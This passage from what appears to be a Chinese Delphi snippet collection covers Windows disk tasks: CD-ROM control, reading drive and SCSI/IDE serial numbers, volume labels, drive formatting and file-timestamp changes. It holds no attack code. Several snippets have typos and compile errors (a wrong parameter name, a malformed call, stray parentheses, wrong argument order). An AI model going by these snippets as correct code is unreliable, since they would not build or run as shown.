Getdisks(AList);
for Counter := 0 to AList.Count-1 do
if GetDriveType(PChar(Alist.Strings[Counter])) = DRIVE_CDROM then
Result := Alist.Strings[Counter]
end;

procedure Getdisks(Strings: TStringList);
const BufSize = 256;
var
Buffer : PChar;
P : PChar;
begin
GetMem(Buffer, BufSize);
try
Strings.BeginUpdate;
try
Strings.Clear;
if GetLogicalDriveStrings(BufSize, Buffer) <> 0 then begin
P := Buffer;
while P^ <> #0 do begin
Strings.Add(P);
Inc(P, StrLen(P) + 1);
end;
end;
finally
Strings.EndUpdate;
end;
finally
FreeMem(Buffer, BufSize);
end;
end;

procedure OpenCDRom;
begin
mciSendString('Set cdaudio door open wait', nil, 0, 0);//handle);
end;

procedure CloseCDRom;
begin
mciSendString('Set cdaudio door closed wait', nil, 0, 0);//handle);
end;

procedure SetCDRomAutoRun(AutoRun:Boolean);
const
DoAutoRun : array[Boolean] of Integer = (0,1);
var
Reg:TRegistry;
begin
try
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.KeyExists('System\CurrentControlSet\Services\Class\CDROM') then
if Reg.OpenKey('System\CurrentControlSet\Services\Class\CDROM',FALSE) then
Reg.WriteBinaryData('AutoRun',DoAutoRun[AAutoRun],1);
finally
Reg.Free;
end;
//设置在Windows重新启动后将生效
end;

end.


获取磁盘序列号

type
MIDPtr = ^MIDRec;
MIDRec = Record
InfoLevel: word;
SerialNum: LongInt;
VolLabel: Packed Array [0..10] of Char;
FileSysType: Packed Array [0..7] of Char;
end;

function GetDriveSerialNum(MID: MIDPtr; drive: Word): Boolean; assembler;
asm
push DS { Just for safety, I dont think its really needed }
mov ax,440Dh { Function Get Media ID }
mov bx,drive { drive no (0-Default, 1-A ...) }
mov cx,0866h { category and minor code }
lds dx,MID { Load pointeraddr. }
call DOS3Call { Supposed to be faster than INT 21H }
jc @@err
mov al,1 { No carry so return TRUE }
jmp @@ok
@@err:
mov al,0 { Carry set so return FALSE }
@@ok:
pop DS { Restore DS, were not supposed to change it }
end;

   procedure TForm1.NrBtnClick(Sender: TObject);
var
Info: MIDRec;
begin
Info.InfoLevel:=0; { Information Level }
If GetDriveSerialNum(@Info,0) then  { Do something with
   it... }
ListBox.Items.Add(IntToStr(Info.SerialNum)+' '+Info.VolLabel);
end;

BOOL GetVolumeInformation(

LPCTSTR lpRootPathName, // address of root directory of the file system
LPTSTR lpVolumeNameBuffer, // address of name of the volume
DWORD nVolumeNameSize, // length of lpVolumeNameBuffer
LPDWORD lpVolumeSerialNumber, // address of volume serial number
LPDWORD lpMaximumComponentLength, // address of system's maximum filename length
LPDWORD lpFileSystemFlags, // address of file system flags
LPTSTR lpFileSystemNameBuffer, // address of name of file system
DWORD nFileSystemNameSize // length of lpFileSystemNameBuffer
);

获取SCSI硬盘序列号

问题提出/摘要:

对于IDE硬盘，你可以使用S.M.A.R.T. API的函数来获取序列号。但对SCSI硬盘，它无法工作。但我们可以使用DeviceIoControl来获取DeviceIoControl设备序列号.

回答:

下面是代码：

program ScsiSN;

// 目的：简单的控制台程序来显示SCSI硬盘的序列号

{$APPTYPE CONSOLE}

uses

Windows, SysUtils;

//-------------------------------------------------------------

function GetDeviceHandle( sDeviceName : String ) : THandle;

begin

Result := CreateFile( PChar('\\.\'+sDeviceName),

GENERIC_READ or GENERIC_WRITE,

FILE_SHARE_READ or FILE_SHARE_WRITE,

nil, OPEN_EXISTING, 0, 0 )

end;

//-------------------------------------------------------------

function ScsiHddSerialNumber( DeviceHandle : THandle ) : String;

{$ALIGN ON}

type

TScsiPassThrough = record

Length : Word;

ScsiStatus : Byte;

PathId : Byte;

TargetId : Byte;

Lun : Byte;

CdbLength : Byte;

SenseInfoLength : Byte;

DataIn : Byte;

DataTransferLength : ULONG;

TimeOutValue : ULONG;

DataBufferOffset : DWORD;

SenseInfoOffset : ULONG;

Cdb : Array[0..15] of Byte;

end;

TScsiPassThroughWithBuffers = record

spt : TScsiPassThrough;

bSenseBuf : Array[0..31] of Byte;

bDataBuf : Array[0..191] of Byte;

end;

{ALIGN OFF}

var dwReturned : DWORD;

len : DWORD;

Buffer : Array[0..255] of Byte;

sptwb : TScsiPassThroughWithBuffers absolute Buffer;

begin

Result := '';

FillChar(Buffer,SizeOf(Buffer),#0);

with sptwb.spt do

begin

Length := SizeOf(TScsiPassThrough);

CdbLength := 6; // CDB6GENERIC_LENGTH

SenseInfoLength := 24;

DataIn := 1; // SCSI_IOCTL_DATA_IN

DataTransferLength := 192;

TimeOutValue := 2;

DataBufferOffset := PChar(@sptwb.bDataBuf)-PChar(@sptwb);

SenseInfoOffset := PChar(@sptwb.bSenseBuf)-PChar(@sptwb);

Cdb[0] := $12; // OperationCode := SCSIOP_INQUIRY;

Cdb[1] := $01; // Flags := CDB_INQUIRY_EVPD; Vital product data

Cdb[2] := $80; // PageCode Unit serial number

Cdb[4] := 192; // AllocationLength

end;

len := sptwb.spt.DataBufferOffset+sptwb.spt.DataTransferLength;

if DeviceIoControl( DeviceHandle, $0004d004, @sptwb, SizeOf(TScsiPassThrough), @sptwb, len, dwReturned, nil )

and ((PChar(@sptwb.bDataBuf)+1)^=#$80)

then

SetString( Result, PChar(@sptwb.bDataBuf)+4,

Ord((PChar(@sptwb.bDataBuf)+3)^) );

end;

//=============================================================

var

hDevice : THandle = 0;

sSerNum, sDeviceName : String;

begin

sDeviceName := ParamStr(1);

if sDeviceName='' then

begin

WriteLn;

WriteLn('Display SCSI-2 device serial number.');

WriteLn;

WriteLn('Using:');

WriteLn;

if Win32Platform=VER_PLATFORM_WIN32_NT then // Windows NT/2000

WriteLn(' ScsiSN PhysicalDrive0')

else

WriteLn(' ScsiSN C:');

WriteLn(' ScsiSN Cdrom0');

WriteLn(' ScsiSN Tape0');

WriteLn;

Exit;

end;

hDevice := GetDeviceHandle(sDeviceName);

if hDevice=INVALID_HANDLE_VALUE then

WriteLn('Error on GetDeviceHandle: ',SysErrorMessage(GetLastError))

else

try

sSerNum := ScsiHddSerialNumber(hDevice);

if sSerNum='' then

WriteLn('Error on DeviceIoControl: ',

SysErrorMessageGetLastError))

else

WriteLn('Device '+sDeviceName

+' serial number = "',sSerNum,'"');

finally

CloseHandle(hDevice);

end;

end.

// 以下站点可获取更多关于SCSI命令的信息:

// ftp://ftp.t10.org/t10/drafts/scsi-1/

// ftp://ftp.t10.org/t10/drafts/spc/

// ftp://ftp.t10.org/t10/drafts/spc2/

获取光盘序列号

uses MMSystem, MPlayer;

procedure TForm1.Button1Click(Sender: TObject);
var
mp : TMediaPlayer;
msp : TMCI_INFO_PARMS;
MediaString : array[0..255] of char;
ret : longint;
begin
mp := TMediaPlayer.Create(nil);
mp.Visible := false;
mp.Parent := Application.MainForm;
mp.Shareable := true;
mp.DeviceType := dtCDAudio;
mp.FileName := 'D:';
mp.Open;
Application.ProcessMessages;
FillChar(MediaString, sizeof(MediaString), #0);
FillChar(msp, sizeof(msp), #0);
msp.lpstrReturn := @MediaString;
msp.dwRetSize := 255;
ret := mciSendCommand(Mp.DeviceId,
MCI_INFO,
MCI_INFO_MEDIA_IDENTITY,
longint(@msp));
if Ret <> 0 then begin
MciGetErrorString(ret, @MediaString, sizeof(MediaString));
Memo1.Lines.Add(StrPas(MediaString));
end else
Memo1.Lines.Add(StrPas(MediaString));
mp.Close;
Application.ProcessMessages;
mp.free;
end;

end.

通过它你可以获取型号名称, firmware revision，序列号以及其它有关IDE硬盘的信息.

回答:

相关构件:

IdeInfo.zip

许多FAQ中推荐使用GetVolumeInformation来获取硬盘序列号。但是那获取的是卷的序列号，而不是硬盘的序列号。卷的序列号是在分区格式化时生成或修改。一些公司使用复制工具来为全部新计算机安装软件----通过将一个硬盘复制到其它硬盘，当然，所有这些计算机上卷的信息（包括序列号）都是相同的。

我建议另外的一个方法：获取真正硬盘的序列号。

不幸的是，下列代码只能工作在IDE硬盘上。

//获取第一个IDE硬盘的序列号

function GetIdeSerialNumber : SerialNumber;

const IDENTIFY_BUFFER_SIZE = 512;

type

TIDERegs = packed record

bFeaturesReg : BYTE; // Used for specifying SMART "commands".

bSectorCountReg : BYTE; // IDE sector count register

bSectorNumberReg : BYTE; // IDE sector number register

bCylLowReg : BYTE; // IDE low order cylinder value

bCylHighReg : BYTE; // IDE high order cylinder value

bDriveHeadReg : BYTE; // IDE drive/head register

bCommandReg : BYTE; // Actual IDE command.

bReserved : BYTE; // reserved for future use. Must be zero.

end;

TSendCmdInParams = packed record

// Buffer size in bytes

cBufferSize : DWORD;

// Structure with drive register values.

irDriveRegs : TIDERegs;

// Physical drive number to send command to (0,1,2,3).

bDriveNumber : BYTE;

bReserved : Array[0..2] of Byte;

dwReserved : Array[0..3] of DWORD;

bBuffer : Array[0..0] of Byte; // Input buffer.

end;

TIdSector = packed record

wGenConfig : Word;

wNumCyls : Word;

wReserved : Word;

wNumHeads : Word;

wBytesPerTrack : Word;

wBytesPerSector : Word;

wSectorsPerTrack : Word;

wVendorUnique : Array[0..2] of Word;

sSerialNumber : Array[0..19] of CHAR;

wBufferType : Word;

wBufferSize : Word;

wECCSize : Word;

sFirmwareRev : Array[0..7] of Char;

sModelNumber : Array[0..39] of Char;

wMoreVendorUnique : Word;

wDoubleWordIO : Word;

wCapabilities : Word;

wReserved1 : Word;

wPIOTiming : Word;

wDMATiming : Word;

wBS : Word;

wNumCurrentCyls : Word;

wNumCurrentHeads : Word;

wNumCurrentSectorsPerTrack : Word;

ulCurrentSectorCapacity : DWORD;

wMultSectorStuff : Word;

ulTotalAddressableSectors : DWORD;

wSingleWordDMA : Word;

wMultiWordDMA : Word;

bReserved : Array[0..127] of BYTE;

end;

PIdSector = ^TIdSector;

TDriverStatus = packed record

// 驱动器返回的错误代码，无错则返回0

bDriverError : Byte;

// IDE出错寄存器的内容，只有当bDriverError 为 SMART_IDE_ERROR 时有效

bIDEStatus : Byte;

bReserved : Array[0..1] of Byte;

dwReserved : Array[0..1] of DWORD;

end;

TSendCmdOutParams = packed record

// bBuffer的大小

cBufferSize : DWORD;

// 驱动器状态

DriverStatus : TDriverStatus;

// 用于保存从驱动器读出的数据的缓冲区，实际长度由cBufferSize决定

bBuffer : Array[0..0] of BYTE;

end;

var hDevice : THandle;

cbBytesReturned : DWORD;

ptr : PChar;

SCIP : TSendCmdInParams;

aIdOutCmd : Array [0..(SizeOf(TSendCmdOutParams)+IDENTIFY_BUFFER_SIZE-1)-1] of Byte;

IdOutCmd : TSendCmdOutParams absolute aIdOutCmd;

procedure ChangeByteOrder( var Data; Size : Integer );

var ptr : PChar;

i : Integer;

c : Char;

begin

ptr := @Data;

for i := 0 to (Size shr 1)-1 do

begin

c := ptr^;

ptr^ := (ptr+1)^;

(ptr+1)^ := c;

Inc(ptr,2);

end;

end;

begin

Result := ''; // 如果出错则返回空串

if SysUtils.Win32Platform=VER_PLATFORM_WIN32_NT then // Windows NT, Windows 2000

begin

// 提示! 改变名称可适用于其它驱动器，如第二个驱动器： '\\.\PhysicalDrive1\'

hDevice := CreateFile( '\\.\PhysicalDrive0', GENERIC_READ or GENERIC_WRITE,

FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0 );

end

else // Version Windows 95 OSR2, Windows 98

hDevice := CreateFile( '\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0 );

if hDevice=INVALID_HANDLE_VALUE then Exit;

try

FillChar(SCIP,SizeOf(TSendCmdInParams)-1,#0);

FillChar(aIdOutCmd,SizeOf(aIdOutCmd),#0);

cbBytesReturned := 0;

// Set up data structures for IDENTIFY command.

with SCIP do

begin

cBufferSize := IDENTIFY_BUFFER_SIZE;

// bDriveNumber := 0;

with irDriveRegs do

begin

bSectorCountReg := 1;

bSectorNumberReg := 1;

// if Win32Platform=VER_PLATFORM_WIN32_NT then bDriveHeadReg := $A0

// else bDriveHeadReg := $A0 or ((bDriveNum and 1) shl 4);

bDriveHeadReg := $A0;

bCommandReg := $EC;

end;

end;

if not DeviceIoControl( hDevice, $0007c088, @SCIP, SizeOf(TSendCmdInParams)-1,

@aIdOutCmd, SizeOf(aIdOutCmd), cbBytesReturned, nil ) then Exit;

finally

CloseHandle(hDevice);

end;

with PIdSector(@IdOutCmd.bBuffer)^ do

begin

ChangeByteOrder( sSerialNumber, SizeOf(sSerialNumber) );

(PChar(@sSerialNumber)+SizeOf(sSerialNumber))^ := #0;

Result := PChar(@sSerialNumber);

end;

end;

// 更多关于 S.M.A.R.T. ioctl 的信息可查看:

// http://www.microsoft.com/hwdev/download/respec/iocltapi.rtf

// MSDN库中也有一些简单的例子

// Windows Development -> Win32 Device Driver Kit ->

// SAMPLE: SmartApp.exe Accesses SMART stats in IDE drives

// 还可以查看 http://www.mtgroup.ru/~alexk

// IdeInfo.zip - 一个简单的使用了S.M.A.R.T. Ioctl API的Delphi应用程序

// 注意:

// WinNT/Win2000 - 你必须拥有对硬盘的读/写访问权限

// Win98

// SMARTVSD.VXD 必须安装到 \windows\system\iosubsys

// (不要忘记在复制后重新启动系统)


显示缩略文件名

 function shortenfilename(s : string) : string;
var drive,curdrive : string[2];
dir,curdir : string[80];
name : string[20];
ext : string[5];
i : byte;
begin
for i:=1 to length(s) do s[i]:=upcase(s[i]);
s:=fexpand(s);
fsplit(s,dir,name,ext);
drive:=copy(dir,1,2);
dir:=copy(dir,4,length(dir)-3);
getdir(0,curdir);
curdrive:=copy(curdir,1,2);
curdir:=copy(curdir,4,length(curdir)-3)+'\';
if drive=curdrive then begin
if copy(dir,1,length(curdir))=curdir then begin
i:=length(curdir);
if length(dir)<>i then dir:=dir+'\';
shortenfilename:=copy(dir,i+1,length(dir)-i-1)+name+ext;
end else shortenfilename:=copy(s,3,length(s)-2);
end else shortenfilename:=s;
end;


驱动器容量

要得到驱动器的容量和剩余容量，用下面的程序
var
driver:pchar;
sec1, byt1, cl1, cl2:longword;
begin
driver:='c:\';//要显示的驱动器名
GetDiskFreeSpace(driver, sec1, byt1, cl1, cl2);
cl1 := cl1 * sec1 * byt1;
cl2 := cl2 * sec1 * byt1;
Label1.Caption := '该驱动器总共容量' + Formatfloat('###,##0',cl2) + '字节';
Label2.Caption := '该驱动器可用容量' + Formatfloat('###,##0',cl1) + '字节';
end;

获取大于２Ｇ的硬盘容量

function GetDiskFreeSpaceEx(lpDirectoryName: PAnsiChar;
var lpFreeBytesAvailableToCaller : Integer;
var lpTotalNumberOfBytes: Integer;
var lpTotalNumberOfFreeBytes: Integer) : bool;
stdcall;
external kernel32
name 'GetDiskFreeSpaceExA';

procedure GetDiskSizeAvail(TheDrive : PChar;
var TotalBytes : double;
var TotalFree : double);
var
AvailToCall : integer;
TheSize : integer;
FreeAvail : integer;
begin
GetDiskFreeSpaceEx(TheDrive,
AvailToCall,
TheSize,
FreeAvail);
{$IFOPT Q+}
{$DEFINE TURNOVERFLOWON}
{$Q-}
{$ENDIF}
if TheSize >= 0 then
TotalBytes := TheSize else
if TheSize = -1 then begin
TotalBytes := $7FFFFFFF;
TotalBytes := TotalBytes * 2;
TotalBytes := TotalBytes + 1;
end else
begin
TotalBytes := $7FFFFFFF;
TotalBytes := TotalBytes + abs($7FFFFFFF - TheSize);
end;

if AvailToCall >= 0 then
TotalFree := AvailToCall else
if AvailToCall = -1 then begin
TotalFree := $7FFFFFFF;
TotalFree := TotalFree * 2;
TotalFree := TotalFree + 1;
end else
begin
TotalFree := $7FFFFFFF;
TotalFree := TotalFree + abs($7FFFFFFF - AvailToCall);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
TotalBytes : double;
TotalFree : double;
begin
GetDiskSizeAvail('C:\',
TotalBytes,
TotalFree);
ShowMessage(FloatToStr(TotalBytes));
ShowMessage(FloatToStr(TotalFree));
end;


卷标操作

{ *** BEGIN CODE FOR VOLLABEL UNIT *** }
unit VolLabel;

interface

uses Classes, SysUtils, WinProcs;

type
EInterruptError = class(Exception);
EDPMIError = class(EInterruptError);
Str11 = String[11];

procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
function GetVolumeLabel(Drive: Char): Str11;

procedure DeleteVolumeLabel(Drv: Char);

implementation

type
PRealModeRegs = ^TRealModeRegs;
TRealModeRegs = record
case Integer of
0: (
EDI, ESI, EBP, EXX, EBX, EDX, ECX, EAX: Longint;
Flags, ES, DS, FS, GS, IP, CS, SP, SS: Word);
1: (
DI, DIH, SI, SIH, BP, BPH, XX, XXH: Word;
case Integer of
0: (
BX, BXH, DX, DXH, CX, CXH, AX, AXH: Word);
1: (
BL, BH, BLH, BHH, DL, DH, DLH, DHH,

CL, CH, CLH, CHH, AL, AH, ALH, AHH: Byte));
end;

PExtendedFCB = ^TExtendedFCB;
TExtendedFCB = Record
ExtendedFCBflag : Byte;
Reserved1 : array[1..5] of Byte;
Attr : Byte;
DriveID : Byte;
FileName : array[1..8] of Char;
FileExt : array[1..3] of Char;
CurrentBlockNum : Word;
RecordSize : Word;
FileSize : LongInt;
PackedDate : Word;
PackedTime : Word;

    Reserved2       :
array[1..8] of Byte;
CurrentRecNum   :
Byte;
RandomRecNum    : LongInt;
end;

procedure RealModeInt(Int: Byte; var Regs: TRealModeRegs);
{ procedure invokes int 31h function 0300h to simulate a real mode }
{ interrupt from protected mode. }
var
ErrorFlag: Boolean;
begin
asm
mov ErrorFlag, 0 { assume success }
mov ax, 0300h { function 300h }
mov bl, Int { real mode interrupt to execute }

mov bh, 0 { required }
mov cx, 0 { stack words to copy, assume zero }
les di, Regs { es:di = Regs }
int 31h { DPMI int 31h }
jnc @@End { carry flag set on error }
@@Error:
mov ErrorFlag, 1 { return false on error }
@@End:
end;
if ErrorFlag then
raise EDPMIError.Create('Failed to execute DPMI interrupt');
end;

function DriveLetterToNumber(DriveLet: Char): Byte;

{ function converts a character drive letter into its numerical equiv. }
begin
if DriveLet in ['a'..'z'] then
DriveLet := Chr(Ord(DriveLet) -32);
if not (DriveLet in ['A'..'Z']) then
raise EConvertError.CreateFmt('Cannot convert %s to drive number',
[DriveLet]);
Result := Ord(DriveLet) - 64;
end;

procedure PadVolumeLabel(var Name: Str11);
{ procedure pads Volume Label string with spaces }
var
i: integer;
begin

  for i := Length(Name) + 1 to 11 do
Name := Name
+ ' ';
end;

function GetVolumeLabel(Drive: Char): Str11;
{ function returns volume label of a disk }
var
SR: TSearchRec;
DriveLetter: Char;
SearchString: String[7];
P: Byte;
begin
SearchString := Drive + ':\*.*';
{ find vol label }
if FindFirst(SearchString, faVolumeID, SR) = 0 then begin
P := Pos('.', SR.Name);
if P > 0 then begin { if it has a dot... }
Result := ' '; { pad spaces between name }

Move(SR.Name[1], Result[1], P - 1); { and extension }
Move(SR.Name[P + 1], Result[9], 3);
end
else begin
Result := SR.Name; { otherwise, pad to end }
PadVolumeLabel(Result);
end;
end
else
Result := '';
end;

procedure DeleteVolumeLabel(Drv: Char);
{ procedure deletes volume label from given drive }
var
CurName: Str11;
FCB: TExtendedFCB;
ErrorFlag: WordBool;
begin
ErrorFlag := False;

CurName := GetVolumeLabel(Drv); { get current volume label }
FillChar(FCB, SizeOf(FCB), 0); { initialize FCB with zeros }
with FCB do begin
ExtendedFCBflag := $FF; { always }
Attr := faVolumeID; { Volume ID attribute }
DriveID := DriveLetterToNumber(Drv); { Drive number }
Move(CurName[1], FileName, 8); { must enter volume label }
Move(CurName[9], FileExt, 3);
end;
asm
push ds { preserve ds }

mov ax, ss { put seg of FCB (ss) in ds }
mov ds, ax
lea dx, FCB { put offset of FCB in dx }
mov ax, 1300h { function 13h }
Call DOS3Call { invoke int 21h }
pop ds { restore ds }
cmp al, 00h { check for success }
je @@End
@@Error: { set flag on error }

mov ErrorFlag, 1
@@End:
end;
if ErrorFlag then
raise EInterruptError.Create('Failed to delete volume name');
end;

procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
{ procedure sets volume label of a disk. Note that this procedure }
{ deletes the current label before setting the new one. This is }
{ required for the set function to work. }
var
Regs: TRealModeRegs;
FCB: PExtendedFCB;
Buf: Longint;
begin
PadVolumeLabel(NewLabel);

  if GetVolumeLabel(Drive) <> ''
then           { if has
label... }
DeleteVolumeLabel(Drive);
{ delete label }
Buf := GlobalDOSAlloc(SizeOf(PExtendedFCB));  {
allocate real buffer }
FCB := Ptr(LoWord(Buf), 0);
FillChar(FCB^, SizeOf(FCB),
0);
{ init FCB with zeros }
with FCB^ do begin
ExtendedFCBflag :=
$FF;
{ required }
Attr :=
faVolumeID;
{ Volume ID attribute }
DriveID :=
DriveLetterToNumber(Drive);      { Drive number }

    Move(NewLabel[1], FileName,
8);             {
set new label }
Move(NewLabel[9], FileExt, 3);
end;
FillChar(Regs, SizeOf(Regs), 0);
with Regs do
begin
{ SEGMENT of FCB }
ds :=
HiWord(Buf);
{ offset = zero }
dx := 0;
ax :=
$1600;
{ function 16h }
end;
RealModeInt($21,
Regs);
{ create file }
if (Regs.al <> 0)
then
{ check for success }

raise EInterruptError.Create('Failed to create volume label');
end;

end.
{ *** END CODE FOR VOLLABEL UNIT *** }


设定卷标

 SetVolumeLabel('a:\','1234');


格式化磁盘

There is an API hidden away in Shell32.dll called SHFormatDrive, this brings up the standard format removable drive dialog. I stumbled across this in the borland.public.delphi.winapi newsgroup.

{implementation section}
..
..
const
SHFMT_ID_DEFAULT = $FFFF;
// Formating options
SHFMT_OPT_QUICKFORMAT = $0000;
SHFMT_OPT_FULL = $0001;
SHFMT_OPT_SYSONLY = $0002;
// Error codes
SHFMT_ERROR = $FFFFFFFF;
SHFMT_CANCEL = $FFFFFFFE;
SHFMT_NOFORMAT = $FFFFFFFD;

function SHFormatDrive(Handle: HWND; Drive, ID, Options: Word): LongInt;
stdcall; external 'shell32.dll' name 'SHFormatDrive'

procedure TForm1.btnFormatDiskClick(Sender: TObject);
var
retCode: LongInt;
begin
retCode:= SHFormatDrive(Handle, 0, SHFMT_ID_DEFAULT,
SHFMT_OPT_QUICKFORMAT);
if retCode < 0 then
ShowMessage('Could not format drive');
end;

end.
/////////////////////////////////////////
function SHFormatDrive(hWnd : HWND;Drive, fmtID, Options : WORD) : longint; stdcall; external 'shell32.dll';
function _DiskFormat( const Drive : Char ):string; //对一个可移动驱动器或硬盘驱动器格式化，注意这个函数是非常危险的.
var
wDrive : WORD;
dtDrive : string;
formatretcode:longint;
begin
dtDrive := _DiskDriverType(Upcase(Drive));
if not _OK(dtDrive) then begin
result:=dtDrive+'(DiskFormat)'; exit;
end;
// if it's not a HDD or a FDD then raise an exception
if (not _Contain('可移动',dtDrive)) and (not _Contain('硬盘',dtDrive)) then
result := badresult+'无法格式化一个'+dtDrive
else begin// 进行格式化
wDrive := Ord( UpCase(Drive) ) - Ord( 'A' );
// SHFormatDrive 是一个没有公开的 API 函数调用
formatretcode:=SHFormatDrive( Application.Handle, wDrive, $ffff, 0);
if formatretcode=-1 then result:=badresult+'格式化程序已执行，在格式化中发生错误，返回代码：'+inttostr(formatretcode)
else if formatretcode=-2 then result:=badresult+'格式化程序已执行，用户放弃格式化驱动器：'+Drive
else if formatretcode=6 then result:='格式化程序已执行，完成驱动器：'+Drive+'的格式化'
else result:='格式化程序已执行，返回代码：'+inttostr(formatretcode);
end; // else
end;


检测磁盘是否变化

     最简单的检查CD－ROM或是磁盘是否有过变化的方法 是检查其volume号码。你可以简单地运用下面的函数来返 回磁盘的volume系列号码GetDiskVolSerialID('E'), 函数代码如下：
function GetDiskVolSerialID(cDriveName:char):DWord;
var
dwTemp1，dwTemp2：DWord;
begin
GetVolumeInformation(PChar(cDriveName+':l'), Nil,0,Result, dwTemp2,dwTemp2,Nil,0);
end;


判断光驱中的Audio CD

function IsAudioCD(Drive : char) : bool;
var
DrivePath : string;
MaximumComponentLength : DWORD;
FileSystemFlags : DWORD;
VolumeName : string;
begin
Result := false;
DrivePath := Drive + ':\';
if GetDriveType(PChar(DrivePath)) <> DRIVE_CDROM then exit;
SetLength(VolumeName, 64);
GetVolumeInformation(PChar(DrivePath),
PChar(VolumeName),
Length(VolumeName),
nil,
MaximumComponentLength,
FileSystemFlags,
nil,
0);
if lStrCmp(PChar(VolumeName),'Audio CD') = 0 then result := true;
end;

function PlayAudioCD(Drive : char) : bool;
var
mp :
TMediaPlayer;
begin
result := false;
Application.ProcessMessages;
if not IsAudioCD(Drive) then
exit;
mp := TMediaPlayer.Create(nil);
mp.Visible :=
false;
mp.Parent := Application.MainForm;
mp.Shareable :=
true;
mp.DeviceType := dtCDAudio;
mp.FileName := Drive +
':';
mp.Shareable := true;
mp.Open;
Application.ProcessMessages;
mp.Play;
Application.ProcessMessages;
mp.Close;
Application.ProcessMessages;
mp.free;
result :=
true;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if not PlayAudioCD('D') then
ShowMessage('Not an Audio CD');
end;


检查驱动器是否就绪

下面这个函数可以显示是否就绪。(From Borland)

function DiskInDrive(Drive: Char): Boolean;
var ErrorMode: word;
begin
{ make it upper case }
if Drive in ['a'..'z'] then Dec(Drive, $20);
{ make sure it's a letter }
if not (Drive in ['A'..'Z']) then
raise EConvertError.Create('Not a valid drive ID');
{ turn off critical errors }
ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
try
{ drive 1 = a, 2 = b, 3 = c, etc. }
if DiskSize(Ord(Drive) - $40) = -1 then
Result := False

else
Result := True;
finally
{ restore old error mode
}
SetErrorMode(ErrorMode);
end;
end;


检测驱动器类型

 当要知道所选的驱动器属于什么类型时，请看下面的程序
var x:integer;
driver:pchar;
begin
driver:='f:\';
x := GetDriveType(driver);
Case x of
2: Label1.Caption := '该驱动器是可移动驱动器';
3: Label1.Caption := '该驱动器是固定驱动器';
4: Label1.Caption := '该驱动器是网络驱动器';
5: Label1.Caption := '该驱动器是CD-ROM驱动器';
6: Label1.Caption := '该驱动器是虚拟驱动器';
Else Label1.Caption := '该驱动器无效';
End;
end;


获取和修改文件的时间

熟悉Windows 95/98的朋友一定经常会用单击鼠标右键的方法来查看所选定的文件的属性信息。在属性菜单中会列出该文件的创建时间、修改时间和访问时间。这些信息常常是很有用的，它们的设置一般都是由操作系统（也就是由Dos/Windows等等）自动完成的，不会让用户轻易修改。

这里，我向大家介绍在Delphi中如何实现文件时间的获取和修改方法。Delphi中提供了很完备的Windows API函数的调用接口，可以方便的进行高级Windows编程。利用Delphi中的FindFirst函数可以得到一个文件的属性记录，该记录中的FindData域中就记载了详细的文件时间信息。然而遗憾的是，FindData中的时间信息是不能直接得到的。因此，本人编写了一个转换函数来完成文件时间格式的转换。下面给出了具体的实现方法，仅供参考：

function CovFileDate(Fd:_FileTime):TDateTime;
{ 转换文件的时间格式
}
var
Tct:_SystemTime;
Temp:_FileTime;
begin
FileTimeToLocalFileTime(Fd,Temp);
FileTimeToSystemTime(Temp,Tct);
CovFileDate:=SystemTimeToDateTime(Tct);
end;
有了上面的函数支持，我们就可以获取一个文件的时间信息了。以下是一个简单的例子：
procdeure
GetFileTime(const Tf:string);
{ 获取文件时间，Tf表示目标文件路径和名称
}
const
Model='yyyy/mm/dd,hh:mm:ss'; { 设定时间格式 }
var
Tp:TSearchRec; {
申明Tp为一个查找记录 }
T1,T2,T3:string;

begin
FindFirst(Tf,faAnyFile,Tp); { 查找目标文件 }
T1:=FormatDateTime(Model,
CovFileDate(Tp.FindData.ftCreationTime)));
{
返回文件的创建时间
}
T2:=FormatDateTime(Model,
CovFileDate(Tp.FindData.ftLastWriteTime)));
{
返回文件的修改时间 }
T3:=FormatDateTime(Model,Now));
{ 返回文件的当前访问时间
}
FindClose(Tp);
end;
设置文件的时间要复杂一些，这里介绍利用Delphi中的DataTimePicker组件来辅助完成这一复杂的操作。下面的例子利用了四个DataTimePicker组件来完成文件创建时间和修改时间的设置。注意：文件的访问时间用修改时间来代替。使用下面的例子时，请在您的Form上添加四个DataTimePicker组件。其中第一和第三个DataTimePicker组件中的Kind设置为dtkDate，第二个和第四个DataTimePicker组件中的Kind设置为dtkTime.

procedure SetFileDateTime(const Tf:string);
{ 设置文件时间，Tf表示目标文件路径和名称
}
var
Dt1,Dt2:Integer;
Fs:TFileStream;
Fct,Flt:TFileTime;
begin
Dt1:=DateTimeToFileDate(
Trunc(Form1.DateTimePicker1.Date)
+
Frac(Form1.DateTimePicker2.Time));
Dt2:=DateTimeToFileDate(
Trunc(Form1.DateTimePicker3.Date)
+ Frac(Form1.DateTimePicker4.Time));
{ 转换用户输入在DataTimePicker中的信息
}
try
FS := TFileStream.Create(Tf, fmOpenReadWrite);
try
if
DosDateTimeToFileTime(LongRec(DT1).Hi, LongRec(DT1).Lo, Fct) and

LocalFileTimeToFileTime(Fct, Fct) and
DosDateTimeToFileTime(LongRec(DT2).Hi, LongRec(DT2).Lo, Flt) and
LocalFileTimeToFileTime(Flt, Flt)
then SetFileTime(FS.Handle,
@Fct, @Flt, @Flt);
{ 设置文件时间属性 }
finally
FS.Free;
end;
except
MessageDlg('日期修改操作失败！',
mtError, [mbOk], 0);
{ 因为目标文件正在被使用等原因而导致失败 }
end;
end;
以上简单介绍了文件时间属性的修改方法，请注意：修改文件时间的范围是从公元1792年9月19日开始的，上限可以达到公元2999年或更高。另外，请不要将此技术用于破坏他人文件等非正当途径。
//////////////////////////////////////////////////////////////
Function GetFileCreationTime(Const FName: String; Var cTime: TDateTime):
Boolean;
Var
fHandle: HFILE;
fStruct: _OFSTRUCT;
ftCreation: _FILETIME;
ftLastAccess: _FILETIME;
ftLastWrite: _FILETIME;
sTime: _SYSTEMTIME;
Begin
fHandle := OpenFile(PChar(FName), fStruct, OF_READ);
Result := (fHandle <> HFILE_ERROR);
If Result Then
Begin
Result := GetFileTime(fHandle, @ftCreation, @ftLastAccess,
@ftLastWrite);
If Result Then
Begin
Result := FileTimeToSystemTime(ftCreation, sTime);
cTime := SystemTimeToDateTime(sTime);
End;
